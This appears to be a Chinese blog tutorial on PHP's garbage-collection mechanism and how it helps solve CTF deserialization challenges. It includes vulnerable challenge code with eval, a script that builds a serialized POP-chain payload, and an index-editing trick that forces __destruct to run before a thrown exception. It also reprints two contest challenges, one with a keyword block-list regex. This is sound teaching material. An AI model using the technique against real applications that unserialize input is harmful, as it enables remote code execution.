浅谈php GC(垃圾回收)机制及其与CTF的一点缘分
0x00 侠客日常(一):CTF江湖试剑
众所周知,在php中,当对象被销毁时会自动调用__destruct()方法,同时也要知道,如果程序报错或者抛出异常,则就不会触发该魔术方法。
看题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class bb{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
}
}
class cc{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>
很简单的一道题:
首先调用__destruct()方法-->通过num参数触发__toString()方法-->给string参数赋值,调用cc的flag()方法,实现RCE。
思路很简单,但是注意这里有拦路虎:
这里代码末尾做了异常抛出处理,就没法触发我们想要的__destruct()方法,此时该如何绕过它呢?
少侠勿慌,先练练秘笈。
0x01 侠客日常(二):修炼秘笈-php垃圾回收机制
一、初练神功
要解决上面遇到的拦路虎,就不得不了解一下php的GC机制:GC全称Garbage Collection,即垃圾回收机制。
php中,主要采用引用计数的方式来支持垃圾回收机制。简单来说,就是引用计数为0的变量可以进行回收,腾出资源。php中的变量存在于一个叫"zval"的变量容器中,容器中包含了变量的类型和值,以及两个字节的信息:
一个是"is_ref":标识变量是否是引用集合,用于分开普通变量和引用变量。
一个是"refcount":用于确定指向此变量的个数,即引用的个数。
引用计数:每个内存对象都分配一个 refcount计数器,当内存对象被变量引用时,refcount计数器+1;当变量引用撤掉后(如执行unset()后),refcount计数器-1;当 refcount计数器=0时(数组对象为NULL),表明内存对象没有被使用,该内存对象则进行销毁,垃圾回收完成。
总的来说,php的垃圾回收机制存在三个版本时期:5.2之前、5.3-5.6、7.0之后,下面分别说一说:
1. php <=5.2
该版本及之前的垃圾回收机制就是单纯的使用引用计数方法。但是注意,当两个或多个对象互相引用形成循环,内存对象的refcount计数器并不会消减为0,也就就是说,此时这组内存对象已经没有被使用,但又不能回收,因此出现内存泄露现象。
2.php 5.3-->5.6
php5.3开始,使用了新的垃圾回收机制,在 引用计数 基础上,实现了一种复杂的算法,来检测内存对象中循环引用存在,以避免内存泄露。
在这些版本中,PHP把那些可能是垃圾的变量容器放入根缓冲区,当根缓冲区满了之后就会启动新的垃圾回收机制。过程如下:
如果发现一个zval容器中的refcount在增加,说明不是垃圾;
如果发现一个zval容器中的refcount在减少,如果减到了0,直接当做垃圾回收;
如果发现一个zval容器中的refcount在减少,并没有减到0,PHP会把该值放到缓冲区,当做有可能是垃圾的怀疑对象;
当缓冲区达到临界值,PHP会自动调用一个方法取遍历每一个值,如果发现是垃圾就清理。
3.php>=7.0
从PHP7的NTS版本开始,以下例程的引用将不再被计数,即 $c=$b=$a 之后 a 的引用计数也是1。
具体情况如下:
1.对于null,bool,int和double的类型变量,refcount永远不会计数;
2.对于对象、资源类型,refcount计数和php5的一致;
3.对于字符串,未被引用的变量被称为“实际字符串”。而那些被引用的字符串被重复删除(即只有一个带有特定内容的被插入的字符串)并保证在请求的整个持续时间内存在,所以不需要为它们使用引用计数;如果使用了opcache,这些字符串将存在于共享内存中,在这种情况下,您不能使用引用计数(因为我们的引用计数机制是非原子的);
4.对于数组,未引用的变量被称为“不可变数组”。其数组本身计数与php5一致,但是数组里面的每个键值对的计数,则按前面三条的规则(即如果是字符串也不在计数);如果使用opcache,则代码中的常量数组文字将被转换为不可变数组。再次,这些生活在共享内存,因此不能使用refcounting。
测试如下:
<?php
echo '测试字符串引用计数';
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
unset( $b);
xdebug_debug_zval( 'a' );
$b = &$a;
xdebug_debug_zval( 'a' );
// 输出:
测试字符串引用计数
a: (refcount=1, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'
a: (refcount=2, is_ref=1)='new string'
# 字符串引用,计数不变,&地址引用会变
echo '测试数组引用计数';
$c = array('a','b');
xdebug_debug_zval( 'c' );
$d = $c;
xdebug_debug_zval( 'c' );
$c[2]='c';
xdebug_debug_zval( 'c' );
// 输出:
测试数组引用计数
c: (refcount=2, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b')
c: (refcount=3, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b')
c: (refcount=1, is_ref=0)=array (0 => (refcount=1, is_ref=0)='a', 1 => (refcount=1, is_ref=0)='b', 2 => (refcount=1, is_ref=0)='c')
# 数组引用,数组本身计数加一,但数组里的键值对不变
echo '测试int型计数';
$e = 1;
xdebug_debug_zval( 'e' );
// 输出
测试int型计数
e: (refcount=0, is_ref=0)=1
# int型不计数
二、神功小成
通过如上的介绍与实验,我们可以总结如下:
1.绕过该异常抛出的方法就是通过提前触发垃圾回收机制,唤醒__destruct()魔术方法。
2.触发垃圾回收机制的方法有:(本质即使对象引用计数归零)
(1)对象被unset()处理时,可以触发。
(2)数组对象为NULL时,可以触发。
0x02 侠客日常(三):牛刀小试
上面我们知道了,当对象为NULL时也是可以触发_destruct()的,因此我们这里的话来试一下先传值给数组,之后将第二个索引置空:先构造payload:
<?php
highlight_file(__FILE__);
error_reporting(0);
class aa{
public $num;
}
class bb{
public $string;
}
class cc{
public $cmd;
}
$a = new aa();
$a->num=new bb();
$a->num->string=new cc();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);
得到:
a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}
将i:1
修改为i:0
:
a:2:{i:0;O:2:"aa":1:{s:3:"num";O:2:"bb":1:{s:6:"string";O:2:"cc":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}
打一下:
可以看到,成功执行执行phpinfo()。
0x03 侠客日常(四):挑战群雄
知道了原理,也经过了实验,想必各位侠客们早已创出了不少独家绝学,迫不及待要一展身手了,因此在这里摆下擂台,设下题目,给各位大侠一展拳脚:
题目一:CTFShow[卷王杯]easy unserialize
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
题目二:[NSSCTF]prize_p1
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}
class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
浅谈php GC(垃圾回收)机制及其与CTF的一点缘分的更多相关文章
- JVM和GC垃圾回收机制和内存分配
JVM运行期间 线程共享 线程私有 线程共享: 方法区 堆方法区:存放可以共享数据,静态常量,类的共有方法属性字段等,可以共享的存在方法区. 堆:存放class对象 . 线程私有:本地方法栈 虚拟机栈 ...
- JVM架构和GC垃圾回收机制
深入理解系列之JDK8下JVM虚拟机(1)——JVM内存组成 https://blog.csdn.net/u011552404/article/details/80306316 JVM架构和GC垃圾回 ...
- java面试题之----JVM架构和GC垃圾回收机制详解
JVM架构和GC垃圾回收机制详解 jvm,jre,jdk三者之间的关系 JRE (Java Run Environment):JRE包含了java底层的类库,该类库是由c/c++编写实现的 JDK ( ...
- 面试官,不要再问我“Java GC垃圾回收机制”了
Java GC垃圾回收几乎是面试必问的JVM问题之一,本篇文章带领大家了解Java GC的底层原理,图文并茂,突破学习及面试瓶颈. 楔子-JVM内存结构补充 在上篇<JVM之内存结构详解> ...
- 乐字节Java|GC垃圾回收机制、package和import
本文接上一篇:乐字节Java|this关键字.static关键字.block块.本文是接着讲述JavaGC垃圾回收机制.package 和 import语句. 一.GC垃圾回收机制 GC全名:Garb ...
- 通俗易懂.NET GC垃圾回收机制(适用于小白面试,大牛勿喷)
情景:你接到xx公司面试邀请,你怀着激动忐忑的心坐在对方公司会议室,想着等会的技术面试.技术总监此时走来,与你简单交谈后.... 技术:你对GC垃圾回收机制了解的怎么样? 你:还行,有简单了解过. 技 ...
- GC垃圾回收机制详解
JVM堆相关知识 为什么先说JVM堆? JVM的堆是Java对象的活动空间,程序中的类的对象从中分配空间,其存储着正在运行着的应用程序用到的所有对象.这些对象的建立方式就是那些new一类的操作 ...
- C# GC 垃圾回收机制
今天来谈谈C# 的GC ,也就是垃圾回收机制,非常的受教,总结如下 首先:谈谈托管,什么叫托管,我的理解就是托付C# 运行环境帮我们去管理,在这个运行环境中可以帮助我们开辟内存和释放内存,开辟内存一般 ...
- asp.net 之 GC (垃圾回收机制)
今天抽时间好好整理了下GC相关知识,看了CSDN和博客园的几篇文章,有了一定的简单了解,决定根据个人理解整合一份随笔写下来,望诸位指教. 一:基础问题 1.首先需要知道了解什么是GC? GC如其名,就 ...
- GC垃圾回收机制,iOS内存管理。
问题: MRC中通过调用静态方法创建的新对象,不再使用时需要对其发送release消息吗? 不需要,因为约定静态方法创建的对象会自动将其放入自动释放池,即已对其发送autorelease消息,因此不可 ...
随机推荐
- redis缓存lua脚本过多导致内存占用很多问题
现象 生产某集群各节点已使用内存比较大,在清理了大量业务无用数据后,节点已使用内存却未下降. 排查与分析 通过info memory命令查看,内存碎片率略高,但是对某个主节点新添加的从节点内存使用依然 ...
- __declspec(dllimport) 和 __declspec(dllexport)的使用详解、以及 XX_API 的含义
1. C++代码里调用别人的库.或者写库给别人用.大概有如下的方法(只讨论windows系统的情况): ---- a) 提供头文件 h . 静态库 lib -- > 静态链接 ---- b) ...
- MySql创建表遇到的问题
SQL语句如下: CREATE TABLE IF NOT EXISTS `student`{ `id` INT(4) NOT NULL COMMENT '学号', `name` VARCHAR(30) ...
- input_subsys 输入子系统框架分析
在linux内核中 已做好各类驱动的框架,驱动程序也属于内核的一部分,我们可以在原有的驱动上修改,来匹配我们自已的硬件,也可以自已编写符合内核驱动框架的驱动程序.出于学习的目的,便于更好的理解各类驱动 ...
- 第二节 printf语句和C++中的判断结构
第二节 printf语句和C++中的判断结构 1.1printf语句作用 保留几位小数:%.4lf 保留四位小数 %.3lf 保留三位小数, 格式化输出:整数:printf("%5d!&qu ...
- vs调试导入功能时莫名自动结束调试
新装了vs2022,默认下图所示的地方打勾,导致调试文件导入功能时触发了自动结束调试,真是坑爹~~
- 1.java基本语法
一.数据和数据类型 (一)标识符:给变量.常量.方法类.对象等命名的符号 (二)变量和常量 1.变量:值在运行时可以改变的量: 每个变量属于特定的数据类型,使用前要先声明,然后赋值,初始化或赋值后才能 ...
- Visual Studio-截断类错误
Visual Studio-截断类错误 传输数据的目标端,将提示的错误的表对应的截断字段的长度增大,重新创建表 并且,对于Visual 传输节点里面,双击红色报错的节点,然后对于数据源右键,接着选择& ...
- ICSFUZZ:操纵I/O、二进制代码重用以及插桩,来Fuzzing工业控制应用程序
本文系原创,转载请说明出处 Please Subscribe Wechat Official Account:信安科研人,获取更多的原创安全资讯 源码:GitHub - momalab/ICSFu ...
- MS-08-067 windows smb服务 远程命令执行漏洞
漏洞概要 MS-08-067是Windows平台中smb服务445端口的远程代码执行漏洞 利用成功可以远程控制主机 影响范围为:windows2000.xp.server 2003.server 20 ...